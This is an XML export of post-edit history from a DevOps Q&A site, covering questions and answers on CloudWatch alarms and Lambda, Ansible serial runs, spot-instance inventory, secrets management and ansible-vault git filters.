  <row Id="694" PostHistoryTypeId="2" PostId="242" RevisionGUID="662c750f-83e9-412b-a613-064849f41c43" CreationDate="2017-03-02T19:08:22.987" UserId="246" Text="A big part of DevOps is making it possible to release very often. That comes with automated build, automated testing, etc. You can say that to achieve its goals, DevOps need to use automation to be efficient.&#xD;&#xA;&#xD;&#xA;Here's how DevOps and automation are related. DevOps is not just automation, there's more to it. Conversely, automation is not exclusively used by &quot;DevOps people&quot;. A lot of automation was taking place in IT before DevOps came around.&#xD;&#xA;&#xD;&#xA;[![DevOps in relation to automation][1]][1]&#xD;&#xA;&#xD;&#xA;Please don't consider to above diagram to represent all that is DevOps, or all this is automation. It is to help the reader picture how the two concepts are related.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/m0tMY.jpg" ContentLicense="CC BY-SA 3.0" />
  <row Id="695" PostHistoryTypeId="2" PostId="243" RevisionGUID="7346b313-981b-441b-b40c-fe74ed8636b4" CreationDate="2017-03-02T19:44:33.967" UserId="46" Text="Currently, for triggering a lambda function in response to a CloudWatch alarm, I need to route the alarm via SNS, like this:&#xD;&#xA;&#xD;&#xA;    AWS CloudWatch Alarm --&gt; Send to a topic in SNS --&gt; SNS topic triggers the lambda function&#xD;&#xA;&#xD;&#xA;**So, is there a way I can do it directly, without SNS in the middle?**  [Reason: Less touch points and a bit of cost optimization].&#xD;&#xA;&#xD;&#xA;CloudWatch events trigger lambda but there is no way I can trigger alarms via it. The only options available in CloudWatch events for SQS are:&#xD;&#xA;&#xD;&#xA;&gt; [![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/YuC5Z.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="696" PostHistoryTypeId="1" PostId="243" RevisionGUID="7346b313-981b-441b-b40c-fe74ed8636b4" CreationDate="2017-03-02T19:44:33.967" UserId="46" Text="Is it possible to trigger an AWS Lambda function directly from CloudWatch alarm?" ContentLicense="CC BY-SA 3.0" />
  <row Id="697" PostHistoryTypeId="3" PostId="243" RevisionGUID="7346b313-981b-441b-b40c-fe74ed8636b4" CreationDate="2017-03-02T19:44:33.967" UserId="46" Text="&lt;amazon-sqs&gt;&lt;amazon-cloudwatch&gt;&lt;aws-lambda&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="698" PostHistoryTypeId="2" PostId="244" RevisionGUID="9ffbc024-21cb-4355-b581-069c58d4a2d9" CreationDate="2017-03-02T19:52:09.597" UserId="246" Text="It possible, as stated in the offcial [AWS Lambda documentation][1].&#xD;&#xA;&#xD;&#xA;You need to invoke the Lambda function directly using the [&quot;targets&quot; attribute][2] of your rule.&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/lambda/latest/dg/invoking-lambda-function.html#supported-event-source-cloudwatch-events&#xD;&#xA;  [2]: http://docs.aws.amazon.com/AmazonCloudWatchEvents/latest/APIReference/API_PutTargets.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="699" PostHistoryTypeId="12" PostId="244" RevisionGUID="38aabfb2-2808-492c-8144-ae4ff7999d38" CreationDate="2017-03-02T19:54:08.170" UserId="246" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:246,&quot;DisplayName&quot;:&quot;Alexandre&quot;}]}" />
  <row Id="700" PostHistoryTypeId="5" PostId="244" RevisionGUID="68a1fc5e-2995-4b96-9154-8153b4fda851" CreationDate="2017-03-02T20:03:38.043" UserId="246" Comment="I missed the part that OP was interested in CloudWatch **Alarms**, not just CloudWatch. My bad." Text="As far as I know, it is not possible. The the offcial [AWS Lambda documentation][1] says it support CloudWatch Events, but no mention of CloudWatch **Alarms**.&#xD;&#xA;&#xD;&#xA;What you are currently doing, sending the alarms on a SNS and using listening on a topic seems the way to go." ContentLicense="CC BY-SA 3.0" />
  <row Id="701" PostHistoryTypeId="13" PostId="244" RevisionGUID="c5467721-7f7a-4d61-ab34-72c2ba819297" CreationDate="2017-03-02T20:03:40.973" UserId="246" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:246,&quot;DisplayName&quot;:&quot;Alexandre&quot;}]}" />
  <row Id="702" PostHistoryTypeId="5" PostId="244" RevisionGUID="714c668d-0f5d-4fda-a48c-e81334ebc564" CreationDate="2017-03-02T20:09:35.813" UserId="246" Comment="I missed the part that OP was interested in CloudWatch **Alarms**, not just CloudWatch. My bad. Also fixed the links and added a note about Events != Alarms" Text="As far as I know, it is not possible. The the offcial A[WS Lambda documentation][1] says it support CloudWatch **Events**, but no mention of CloudWatch **Alarms** (and [CW Events][2] != [CW Alarms][3])&#xD;&#xA;&#xD;&#xA;What you are currently doing, sending the alarms on a SNS and using listening on a topic seems the way to go. In fact, CloudWatch Alarms only outputs to SNS so far.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/lambda/latest/dg/invoking-lambda-function.html&#xD;&#xA;  [2]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/events/EventTypes.html&#xD;&#xA;  [3]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/AlarmThatSendsEmail.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="703" PostHistoryTypeId="2" PostId="245" RevisionGUID="e9b99e59-473a-4c1c-8036-ebb75d946623" CreationDate="2017-03-02T20:31:33.533" UserId="6" Text="**What is Value Stream Mapping**&#xD;&#xA;&#xD;&#xA;A Value Stream Map is a representation of the flow of work, inventory and information from supplier to the customer through your organization. The VSM enables you to see at a glance where the delays are in your process, any constraints and excessive work or inventory.&#xD;&#xA;&#xD;&#xA;For IT organizations, one common notation is that inventory is a number of tasks in the backlog. Joel Spolsky wrote an [amazing article][1] that explains and expands on this this concept.&#xD;&#xA;&#xD;&#xA;Usually a VSM is a graphical chart that includes:&#xD;&#xA;&#xD;&#xA;* your customer&#xD;&#xA;* your supplier (if and when you use external contractors to do work)&#xD;&#xA;* the process inside of your organisation (what happens to items of work in your org.)&#xD;&#xA;* the feedback loops (customer asks for features, you communicate requirements to the supplier, etc...)&#xD;&#xA;&#xD;&#xA;**Why do Value Stream Mapping**&#xD;&#xA;&#xD;&#xA;In bigger organizations, when work is split into specialized cells - often the concept of the whole system is not in focus. This leads to problems like optimizing to local optima. For example, if you have a team that manages a Jenkins server and another team of developers who need to use it - the Jenkins admins can do improvements and work that looks good in their JIRA. But actually, hurts the developers using the system. In a Systems Thinking organization, people would work towards improving the system as a whole, not adding improvements that are local and either have no effect on the whole or hurt the process.&#xD;&#xA;&#xD;&#xA;The purpose of a VSM is to provide optimal value to customers of the organization, with minimum waste in the value creation process (Lean). &quot;Value&quot; is what the customer of the organization is buying.&#xD;&#xA;&#xD;&#xA;**How to create a Value Stream Map**&#xD;&#xA;&#xD;&#xA;Creating a VSM has a goal of its own, improving the organization. Thus the first step is mapping the current flow of work and information. Next step is designing and implementing some improvements, and in the future continue iterating and improving as well. The VSM is a visual dashboard showing the work and measurements around it, so the bottleneck is clearly visible and can be controlled (using Theory of Constraints).&#xD;&#xA;&#xD;&#xA;Steps to create a VSM based on the description in most Lean books:&#xD;&#xA;&#xD;&#xA;1. Specify the value from the standpoint of the customer.&#xD;&#xA;2. Identify the VSM for each product family (there can be more than one)&#xD;&#xA;3. Improve the flow of work.&#xD;&#xA;4. Establish pull. The customer can now pull work out of the VSM, not get pushed work from it.&#xD;&#xA;5. Iterate until perfection.&#xD;&#xA;&#xD;&#xA;In an organization that is using Kanban to manage work, it is used to manage the pull of value from the customer standpoint. Unfortunately, often people don't really know how Kanban works and why it is defined as it is, so they use Kanban to push work onto customers (or the market) - this often leads to a lot of wasted work and frustrated people who don't see their work having an impact.&#xD;&#xA;&#xD;&#xA;Great reference for further reading about the subject:&#xD;&#xA;&#xD;&#xA;* The [Learning to See][2] book by Mike Rother and John Shook&#xD;&#xA;* http://courses.washington.edu/ie337/Value_Stream_Mapping.pdf&#xD;&#xA;&#xD;&#xA;  [1]: https://www.joelonsoftware.com/2012/07/09/software-inventory/&#xD;&#xA;  [2]: https://www.amazon.com/dp/0966784308" ContentLicense="CC BY-SA 3.0" />
  <row Id="704" PostHistoryTypeId="2" PostId="246" RevisionGUID="118bd322-dbe3-40c8-9894-aee25a073df3" CreationDate="2017-03-02T20:37:30.243" UserId="323" Text="I've got a semi-devops playbook where I want to update a number of flaky devices serially,  so I'll use serial:1, but I want to stop the playbook altogether if I get any failures so I can fix that one and not just accumulate errors.&#xD;&#xA;&#xD;&#xA;I'd also like to restart the playbook at the host I left off on.  I'm using Ansible v2.0, but I can switch to a newer version if that sort of a feature doesn't exist. " ContentLicense="CC BY-SA 3.0" />
  <row Id="705" PostHistoryTypeId="1" PostId="246" RevisionGUID="118bd322-dbe3-40c8-9894-aee25a073df3" CreationDate="2017-03-02T20:37:30.243" UserId="323" Text="How do I run ansible on one host at a time and break on a failure" ContentLicense="CC BY-SA 3.0" />
  <row Id="706" PostHistoryTypeId="3" PostId="246" RevisionGUID="118bd322-dbe3-40c8-9894-aee25a073df3" CreationDate="2017-03-02T20:37:30.243" UserId="323" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="707" PostHistoryTypeId="5" PostId="214" RevisionGUID="be2ae086-78dd-49c4-b8df-8e3bac49d27c" CreationDate="2017-03-02T20:45:11.453" UserId="46" Comment="Broke the wall of tet" Text="I am new to Ansible, I have some experience with chef, and I am considering learn and using Ansible to manage some environments.&#xD;&#xA;&#xD;&#xA;I was wondering what would be the best practice to manage the host inventory when working with AWS spot instances, the ip changed when spot goes down, and the old one are not relevant anymore in your host host inventory and in general when you change instances and so on ..&#xD;&#xA;&#xD;&#xA;also are there any other alternative ways for such use case?" ContentLicense="CC BY-SA 3.0" />
  <row Id="708" PostHistoryTypeId="24" PostId="214" RevisionGUID="be2ae086-78dd-49c4-b8df-8e3bac49d27c" CreationDate="2017-03-02T20:45:11.453" Comment="Proposed by 46 approved by -1 edit id of 67" ContentLicense="CC BY-SA 3.0" />
  <row Id="709" PostHistoryTypeId="5" PostId="214" RevisionGUID="04a28792-ed3f-44e9-842f-dea866ce9141" CreationDate="2017-03-02T20:45:11.453" UserId="6" Comment="improve clarity" Text="I am new to Ansible, with some experience in Chef. I am considering learn and use Ansible to manage environments.&#xD;&#xA;&#xD;&#xA;I was wondering, what would be the best practice to manage inventory of AWS spot instances?&#xD;&#xA;&#xD;&#xA;For example, when a spot instance is shut down the old IP is not relevant anymore in the inventory of hosts.&#xD;&#xA;&#xD;&#xA;Are there any other alternative approaches for the use case of elastic environments?" ContentLicense="CC BY-SA 3.0" />
  <row Id="710" PostHistoryTypeId="4" PostId="214" RevisionGUID="04a28792-ed3f-44e9-842f-dea866ce9141" CreationDate="2017-03-02T20:45:11.453" UserId="6" Comment="improve clarity" Text="How do you manage your inventory of spot instances on AWS with Ansible" ContentLicense="CC BY-SA 3.0" />
  <row Id="711" PostHistoryTypeId="5" PostId="192" RevisionGUID="357af3d7-0fd3-4281-829c-a0d1a30649fa" CreationDate="2017-03-02T20:45:21.637" UserId="246" Comment="Remove the &quot;why not git&quot; to keep the question centred on the question of the title." Text="Everyone is saying that storing credentials in version control (git) is a bad thing. So there must be other ways to store credentials which are much better.&#xD;&#xA;&#xD;&#xA;An application must receive credentials from somewhere to use services it depends on. These credentials are usually stored in configuration files. Manually entering each server to create that file is out of the question, since servers come and go without human intervention.&#xD;&#xA;&#xD;&#xA;How to manage an application's credentials?" ContentLicense="CC BY-SA 3.0" />
  <row Id="712" PostHistoryTypeId="24" PostId="192" RevisionGUID="357af3d7-0fd3-4281-829c-a0d1a30649fa" CreationDate="2017-03-02T20:45:21.637" Comment="Proposed by 246 approved by 6 edit id of 68" ContentLicense="CC BY-SA 3.0" />
  <row Id="713" PostHistoryTypeId="11" PostId="192" RevisionGUID="6b6eb521-735d-4c15-b854-1a66db35d5fb" CreationDate="2017-03-02T20:48:21.180" UserId="-1" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:10,&quot;DisplayName&quot;:&quot;avi&quot;},{&quot;Id&quot;:6,&quot;DisplayName&quot;:&quot;Evgeny&quot;},{&quot;Id&quot;:246,&quot;DisplayName&quot;:&quot;Alexandre&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;},{&quot;Id&quot;:14,&quot;DisplayName&quot;:&quot;Aurora0001&quot;}]}" />
  <row Id="715" PostHistoryTypeId="2" PostId="247" RevisionGUID="94ac83be-9f02-4b55-9071-e6205334176e" CreationDate="2017-03-02T21:03:40.997" UserId="132" Text="Your playbook *should* be stopping when a failure occurs and you're using `serial: 1` according to the [documentation][1].&#xD;&#xA;&#xD;&#xA;&gt; By default, Ansible will continue executing actions as long as there are hosts in the group that have not yet failed. &#xD;&#xA;&#xD;&#xA;That said there seems to be some confusion in the community over this, and it seems to have changed--or been buggy--somewhere between 1.8 and 2.1.&#xD;&#xA;&#xD;&#xA;So, to play it safe, use this additional setting&#xD;&#xA;&#xD;&#xA;`max_failure_percentage: 0`&#xD;&#xA;&#xD;&#xA;&gt; In some situations, such as with the rolling updates described above, it may be desirable to abort the play when a certain threshold of failures have been reached. To achieve this, as of version 1.3 you can set a maximum failure percentage...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Sources:&#xD;&#xA;&#xD;&#xA;https://github.com/ansible/ansible/issues/1663&#xD;&#xA;&#xD;&#xA;https://github.com/ansible/ansible/issues/16241&#xD;&#xA;&#xD;&#xA;http://docs.ansible.com/ansible/playbooks_delegation.html#rolling-update-batch-size&#xD;&#xA;&#xD;&#xA;http://docs.ansible.com/ansible/playbooks_delegation.html#maximum-failure-percentage&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/playbooks_delegation.html#maximum-failure-percentage" ContentLicense="CC BY-SA 3.0" />
  <row Id="716" PostHistoryTypeId="5" PostId="247" RevisionGUID="aa4224ad-5d0b-4c37-9460-cee3a215948b" CreationDate="2017-03-02T21:13:30.440" UserId="132" Comment="added retry answer" Text="Your playbook *should* be stopping when a failure occurs and you're using `serial: 1` according to the [documentation][1].&#xD;&#xA;&#xD;&#xA;&gt; By default, Ansible will continue executing actions as long as there are hosts in the group that have not yet failed. &#xD;&#xA;&#xD;&#xA;That said there seems to be some confusion in the community over this, and it seems to have changed--or been buggy--somewhere between 1.8 and 2.1.&#xD;&#xA;&#xD;&#xA;So, to play it safe, use this additional setting&#xD;&#xA;&#xD;&#xA;`max_failure_percentage: 0`&#xD;&#xA;&#xD;&#xA;&gt; In some situations, such as with the rolling updates described above, it may be desirable to abort the play when a certain threshold of failures have been reached. To achieve this, as of version 1.3 you can set a maximum failure percentage...&#xD;&#xA;&#xD;&#xA;==&#xD;&#xA;&#xD;&#xA;As for retrying your playbook, you should be seeing a failure message like this:&#xD;&#xA;&#xD;&#xA;`to retry, use: --limit @/home/user/site.retry`&#xD;&#xA;&#xD;&#xA;Use that `--limit` flag and on your next execution of `ansible-playbook` and it will continue from where it failed.&#xD;&#xA;&#xD;&#xA;Retry files will be created unless you've set `retry_files_enabled = False` in your configuration.&#xD;&#xA;&#xD;&#xA;Alternatively, `--start-at-task` may also work.&#xD;&#xA;&#xD;&#xA;Sources:&#xD;&#xA;&#xD;&#xA;https://github.com/ansible/ansible/issues/1663&#xD;&#xA;&#xD;&#xA;https://github.com/ansible/ansible/issues/16241&#xD;&#xA;&#xD;&#xA;http://docs.ansible.com/ansible/playbooks_delegation.html#rolling-update-batch-size&#xD;&#xA;&#xD;&#xA;http://docs.ansible.com/ansible/playbooks_delegation.html#maximum-failure-percentage&#xD;&#xA;&#xD;&#xA;http://docs.ansible.com/ansible/intro_configuration.html#retry-files-enabled&#xD;&#xA;&#xD;&#xA;http://docs.ansible.com/ansible/playbooks_startnstep.html#start-at-task&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/playbooks_delegation.html#maximum-failure-percentage" ContentLicense="CC BY-SA 3.0" />
  <row Id="717" PostHistoryTypeId="2" PostId="248" RevisionGUID="d226363c-90c7-4945-9c4d-d1268ff5a32d" CreationDate="2017-03-02T21:41:04.293" UserId="246" Text="Proper management of an application's secret has always been a challenge. New challenges came with the adoption of the cloud. There's a [great OWASP presentation][1] about the reality and challenges of storing secrets in the cloud.&#xD;&#xA;&#xD;&#xA;You might be surprised to hear that storing secret into the source code is one of the solution (or &quot;architecture&quot;) presented. That's because, right now, there is no perfect architecture or way of doing this. In the end, your secrets might be encrypted... but what is guarding the encryption key? &quot;Turtles all the way down&quot;, they said.&#xD;&#xA;&#xD;&#xA;Every type of secret management has its strength and weaknesses and the presentation already covers that. Instead, I'll try to go over some of the features you might be looking for in an secret (credential) management solution:&#xD;&#xA;&#xD;&#xA; - Access control: can you give write access to admins and read access to applications? Can you limit what applications are able to read (application A has access only to those secrets)?&#xD;&#xA; - Audit logs: required for many compliancy reports and a good way to figure if something is awry&#xD;&#xA; - Secure storage of the secrets: how is the solution storing the secret? Encrypted DB? Encrypted FS? Who/what holds the encryption key, if any? How is this key used - once at startup and then securely discarded? &#xD;&#xA; - Keys/password rotation or renewal: if a secret is compromised, can you revoke it and send an updated secret to the applications? Can/should the applications pool the secret management service?&#xD;&#xA; - What is it compatible with? Some of these solutions offer tight integration with certain languages or framework. Are you interested in this?&#xD;&#xA;&#xD;&#xA;By looking at these items, how they are important to you and how they are implemented by the solution, you will be able to choose [one of the secret management service out there][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://danielsomerfield.github.io/turtles/&#xD;&#xA;  [2]: https://www.google.com/webhp?sourceid=chrome-instant&amp;rlz=1C5CHFA_enCA708CA708&amp;ion=1&amp;espv=2&amp;ie=UTF-8#q=secret%20management%20service&amp;*" ContentLicense="CC BY-SA 3.0" />
  <row Id="718" PostHistoryTypeId="2" PostId="249" RevisionGUID="acf6d648-8bce-4055-90c4-ffb48ee2e786" CreationDate="2017-03-02T21:41:19.757" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="719" PostHistoryTypeId="1" PostId="249" RevisionGUID="acf6d648-8bce-4055-90c4-ffb48ee2e786" CreationDate="2017-03-02T21:41:19.757" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="720" PostHistoryTypeId="2" PostId="250" RevisionGUID="f20d766d-77e9-47bf-a957-2abc088ac9d1" CreationDate="2017-03-02T21:41:19.757" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="721" PostHistoryTypeId="1" PostId="250" RevisionGUID="f20d766d-77e9-47bf-a957-2abc088ac9d1" CreationDate="2017-03-02T21:41:19.757" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="722" PostHistoryTypeId="5" PostId="248" RevisionGUID="5d18f9eb-96e0-456a-a256-788fa161ebb9" CreationDate="2017-03-02T21:47:35.997" UserId="246" Comment="Fixed plural and reformatted one list item" Text="Proper management of an application's secrets has always been a challenge. New challenges came with the adoption of the cloud. There's a [great OWASP presentation][1] about the reality and challenges of storing secrets in the cloud.&#xD;&#xA;&#xD;&#xA;You might be surprised to hear that storing secrets into the source code is one of the solution (or &quot;architecture&quot;) presented. That's because, right now, there is no perfect architecture or way of doing this. In the end, your secrets might be encrypted... but what is guarding the encryption key? &quot;Turtles all the way down&quot;, they said.&#xD;&#xA;&#xD;&#xA;Every type of secret management has its strengths and weaknesses and the presentation already covers that. Instead, I'll try to go over some of the features you might be looking for in an secret (credential) management solution:&#xD;&#xA;&#xD;&#xA; - Access control: can you give write access to admins and read access to applications? Can you limit what applications are able to read (application A has access only to those secrets)?&#xD;&#xA; - Audit logs: required for many compliancy reports and a good way to figure if something is awry&#xD;&#xA; - Secure storage of the secrets: how is the solution storing the secrets? Encrypted DB? Encrypted FS? Who/what holds the encryption key, if any? How is this key used - once at startup and then securely discarded? &#xD;&#xA; - Keys/passwords rotation or renewal: if a secret is compromised, can you revoke it and send an updated secret to the applications? Can/should the applications pool the secret management service?&#xD;&#xA; - Compatibility: Some of these solutions offer tight integration with certain languages or framework. Some offer REST API. Are you interested in this?&#xD;&#xA;&#xD;&#xA;By looking at these items, how they are important to you and how they are implemented by the solution, you will be able to choose [one of the secret management service out there][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://danielsomerfield.github.io/turtles/&#xD;&#xA;  [2]: https://www.google.com/webhp?sourceid=chrome-instant&amp;rlz=1C5CHFA_enCA708CA708&amp;ion=1&amp;espv=2&amp;ie=UTF-8#q=secret%20management%20service&amp;*" ContentLicense="CC BY-SA 3.0" />
  <row Id="726" PostHistoryTypeId="5" PostId="246" RevisionGUID="fbf1a0b5-0219-444b-b526-2fb42633777b" CreationDate="2017-03-02T21:57:22.780" UserId="6" Comment="clarity" Text="I've got an Ansible playbook where I want to update a number of flaky devices in sequence. I'll can use `serial:1`, but I want to stop the playbook altogether if I get a failure. So I can fix it before proceeding instead of accumulating errors.&#xD;&#xA;&#xD;&#xA;I'd also like to restart the playbook at the same host I stopped on.  Currently using Ansible v2.0, but can also switch to a newer version if that sort of a feature is only available in newer versions. " ContentLicense="CC BY-SA 3.0" />
  <row Id="728" PostHistoryTypeId="5" PostId="106" RevisionGUID="17901c25-fd05-4a85-ba59-6279e6a17b6f" CreationDate="2017-03-02T22:05:14.237" UserId="6" Comment="add language hints for syntax highlight" Text="I am trying to setup [clean/smudge filter][1] in git to have automatic encrypting and decrypting of files containing secrets thru [ansible-vault][2] command.&#xD;&#xA;&#xD;&#xA;Peculiarity of the ansible-vault command is that it is not idempotent (it creates a different binary each time it is invoked on the same data).&#xD;&#xA;&#xD;&#xA;I started with the implementation suggested in [this blog page][3]. Unfortunately it did not work correctly, as whenever smudge is called (be it a git checkout &lt;branch&gt;, or just git status), the secret files looks as modified for git, even if it is not.&#xD;&#xA;&#xD;&#xA;So I wondered if git would be comparing the binary he has in the index with the clean filtered current file, and I tried to build on those script like follows:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-sh --&gt;&#xD;&#xA;&#xD;&#xA;    #!/bin/sh -x&#xD;&#xA;    # clean filter, it is invoked with %f&#xD;&#xA;&#xD;&#xA;    if [ ! -r &quot;$HOME/.vault_password&quot; ]; then&#xD;&#xA;      exit 1&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    tmp=`mktemp`&#xD;&#xA;    cat &gt; $tmp&#xD;&#xA;    &#xD;&#xA;    # get the plain text from the binary in the index&#xD;&#xA;    tmphead=`mktemp`&#xD;&#xA;    git show HEAD:$1 &gt; $tmphead&#xD;&#xA;    contenthead=`echo &quot;embedded&quot; | ansible-vault view $tmphead --vault-password-file=$HOME/.vault_password`&#xD;&#xA;    export PAGER=cat&#xD;&#xA;    echo -n &quot;$contenthead&quot; | tee $tmphead&#xD;&#xA;    &#xD;&#xA;    # if current and index plain text version differ&#xD;&#xA;    if [ &quot;`md5sum $tmp | cut -d' ' -f1`&quot; != &quot;`md5sum $tmphead | cut -d' ' -f1`&quot; ]; then&#xD;&#xA;      tmpcrypt=`mktemp`&#xD;&#xA;      cp $tmp $tmpcrypt&#xD;&#xA;      # generate a new crypted blob&#xD;&#xA;      echo &quot;embedded&quot; | ansible-vault encrypt $tmpcrypt --vault-password-file=$HOME/.vault_password &gt; /dev/null 2&gt;&amp;1&#xD;&#xA;      cat &quot;$tmpcrypt&quot;&#xD;&#xA;    else&#xD;&#xA;      # just return the HEAD version&#xD;&#xA;      cat &quot;$tmphead&quot;&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    rm $tmp $tmphead $tmpcrypt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The difference here is that it tries to compare the current and HEAD versions of the plain text (unencrypted) secret files, and only in case they differ output a new binary blob encrypted with ansible-vault.&#xD;&#xA;&#xD;&#xA;Unfortunately, after this change git continues to think the secret file is always modified. Even after `git add`ing the file again, so that the git blob is computed, git thinks the file is different and let the change go into the commit. Note that `git diff` return empty changes, as it should.&#xD;&#xA;&#xD;&#xA;For reference, this is smudge:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-sh --&gt;&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    if [ ! -r &quot;$HOME/.vault_password&quot; ]; then&#xD;&#xA;      exit 1&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    tmp=`mktemp`&#xD;&#xA;    cat &gt; $tmp&#xD;&#xA;    &#xD;&#xA;    export PAGER='cat'&#xD;&#xA;    CONTENT=&quot;`echo &quot;embedded&quot; | ansible-vault view &quot;$tmp&quot; --vault-password-file=$HOME/.vault_password 2&gt; /dev/null`&quot;&#xD;&#xA;    &#xD;&#xA;    if echo &quot;$CONTENT&quot; | grep 'ERROR: data is not encrypted' &gt; /dev/null; then&#xD;&#xA;      echo &quot;Looks like one file was commited clear text&quot;&#xD;&#xA;      echo &quot;Please fix this before continuing !&quot;&#xD;&#xA;      exit 1&#xD;&#xA;    else&#xD;&#xA;      echo -n &quot;$CONTENT&quot;&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    rm $tmp&#xD;&#xA;&#xD;&#xA;and this is diff:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-sh --&gt;&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    if [ ! -r &quot;$HOME/.vault_password&quot; ]; then&#xD;&#xA;      exit 1&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    export PAGER='cat'&#xD;&#xA;    CONTENT=`echo &quot;embedded&quot; | ansible-vault view &quot;$1&quot; --vault-password-file=$HOME/.vault_password 2&gt; /dev/null`&#xD;&#xA;    &#xD;&#xA;    if echo &quot;$CONTENT&quot; | grep 'ERROR: data is not encrypted' &gt; /dev/null; then&#xD;&#xA;      cat &quot;$1&quot;&#xD;&#xA;    else&#xD;&#xA;      echo &quot;$CONTENT&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://git-scm.com/book/en/v2/Customizing-Git-Git-Attributes&#xD;&#xA;  [2]: http://docs.ansible.com/ansible/playbooks_vault.html#encrypting-unencrypted-files&#xD;&#xA;  [3]: https://leucos.github.io/articles/transparent-vault-revisited/" ContentLicense="CC BY-SA 3.0" />
  <row Id="733" PostHistoryTypeId="5" PostId="247" RevisionGUID="6e8f7520-ca00-47a5-bbdd-395d33102a57" CreationDate="2017-03-02T22:10:54.557" UserId="132" Comment="changed the wording to better suit a recent edit in the question" Text="Your playbook will stop when a failure occurs and you're using `serial: 1` according to the [documentation][1].&#xD;&#xA;&#xD;&#xA;&gt; By default, Ansible will continue executing actions as long as there are hosts in the group that have not yet failed. &#xD;&#xA;&#xD;&#xA;That said there seems to be some confusion in the community over the default behavior, and it seems to have changed--or been buggy--somewhere between 1.8 and 2.1.&#xD;&#xA;&#xD;&#xA;So, if `serial: 1` doesn't suffice, use this additional setting:&#xD;&#xA;&#xD;&#xA;`max_failure_percentage: 0`&#xD;&#xA;&#xD;&#xA;&gt; In some situations, such as with the rolling updates described above, it may be desirable to abort the play when a certain threshold of failures have been reached. To achieve this, as of version 1.3 you can set a maximum failure percentage...&#xD;&#xA;&#xD;&#xA;==&#xD;&#xA;&#xD;&#xA;As for retrying your playbook, you should be seeing a failure message like this:&#xD;&#xA;&#xD;&#xA;`to retry, use: --limit @/home/user/site.retry`&#xD;&#xA;&#xD;&#xA;Use that `--limit` flag and on your next execution of `ansible-playbook` and it will continue from where it failed.&#xD;&#xA;&#xD;&#xA;Retry files will be created unless you've set `retry_files_enabled = False` in your configuration.&#xD;&#xA;&#xD;&#xA;Alternatively, `--start-at-task` may also work.&#xD;&#xA;&#xD;&#xA;Sources:&#xD;&#xA;&#xD;&#xA;https://github.com/ansible/ansible/issues/1663&#xD;&#xA;&#xD;&#xA;https://github.com/ansible/ansible/issues/16241&#xD;&#xA;&#xD;&#xA;http://docs.ansible.com/ansible/playbooks_delegation.html#rolling-update-batch-size&#xD;&#xA;&#xD;&#xA;http://docs.ansible.com/ansible/playbooks_delegation.html#maximum-failure-percentage&#xD;&#xA;&#xD;&#xA;http://docs.ansible.com/ansible/intro_configuration.html#retry-files-enabled&#xD;&#xA;&#xD;&#xA;http://docs.ansible.com/ansible/playbooks_startnstep.html#start-at-task&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/playbooks_delegation.html#maximum-failure-percentage" ContentLicense="CC BY-SA 3.0" />
  <row Id="734" PostHistoryTypeId="5" PostId="246" RevisionGUID="9fc7b28a-0876-422d-9524-5409440856b8" CreationDate="2017-03-02T22:59:13.377" UserId="132" Comment="minor grammar fix on one sentence" Text="I've got an Ansible playbook where I want to update a number of flaky devices in sequence. I can use `serial:1`, but I want to stop the playbook altogether if I get a failure so I can fix it before proceeding instead of accumulating errors.&#xD;&#xA;&#xD;&#xA;I'd also like to restart the playbook at the same host I stopped on.  Currently using Ansible v2.0, but can also switch to a newer version if that sort of a feature is only available in newer versions. " ContentLicense="CC BY-SA 3.0" />
  <row Id="735" PostHistoryTypeId="24" PostId="246" RevisionGUID="9fc7b28a-0876-422d-9524-5409440856b8" CreationDate="2017-03-02T22:59:13.377" Comment="Proposed by 132 approved by 6, 13 edit id of 71" ContentLicense="CC BY-SA 3.0" />
